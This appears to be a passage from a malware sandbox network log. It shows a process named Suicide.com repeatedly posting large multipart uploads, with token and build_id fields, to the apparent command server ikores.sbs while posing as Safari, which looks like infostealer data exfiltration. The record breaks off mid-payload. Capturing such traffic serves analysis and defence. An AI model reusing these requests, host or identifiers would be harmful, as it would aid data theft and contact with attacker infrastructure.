2024-12-06 08:42:33 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4c 58 34 45 55 53 52 31 4e 37 51 51 49 4d 47 56 41 53 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4c 58 34 45 55 53 52 31 4e 37 51 51 49 4d 47 56 41 53 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 4c 58 34 45 55 53 52 31 4e 37 51 51 49 4d 47 56 41 53 52 39 0d 0a 43 6f 6e 74 Data Ascii: ------LX4EUSR1N7QQIMGVASR9Content-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------LX4EUSR1N7QQIMGVASR9Content-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------LX4EUSR1N7QQIMGVASR9Cont
2024-12-06 08:42:33 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:33 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:33 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:33 UTC	581	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:34 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49899	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:36 UTC	320	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----SR1N7YM7GVAAIE3O8Q90 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 153381 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:36 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 53 52 31 4e 37 59 4d 37 47 56 41 41 49 45 33 4f 38 51 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 53 52 31 4e 37 59 4d 37 47 56 41 41 49 45 33 4f 38 51 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 53 52 31 4e 37 59 4d 37 47 56 41 41 49 45 33 4f 38 51 39 30 0d 0a 43 6f 6e 74 Data Ascii: ------SR1N7YM7GVAAIE3O8Q90Content-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------SR1N7YM7GVAAIE3O8Q90Content-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------SR1N7YM7GVAAIE3O8Q90Cont
2024-12-06 08:42:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:36 UTC	6186	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49903	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:37 UTC	320	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----7YC2NOZMOZUAIEKXLX4W User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 393697 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:37 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 59 43 32 4e 4f 5a 4d 4f 5a 55 41 49 45 4b 58 4c 58 34 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 37 59 43 32 4e 4f 5a 4d 4f 5a 55 41 49 45 4b 58 4c 58 34 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 37 59 43 32 4e 4f 5a 4d 4f 5a 55 41 49 45 4b 58 4c 58 34 57 0d 0a 43 6f 6e 74 Data Ascii: ------7YC2NOZMOZUAIEKXLX4WContent-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------7YC2NOZMOZUAIEKXLX4WContent-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------7YC2NOZMOZUAIEKXLX4WCont
2024-12-06 08:42:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 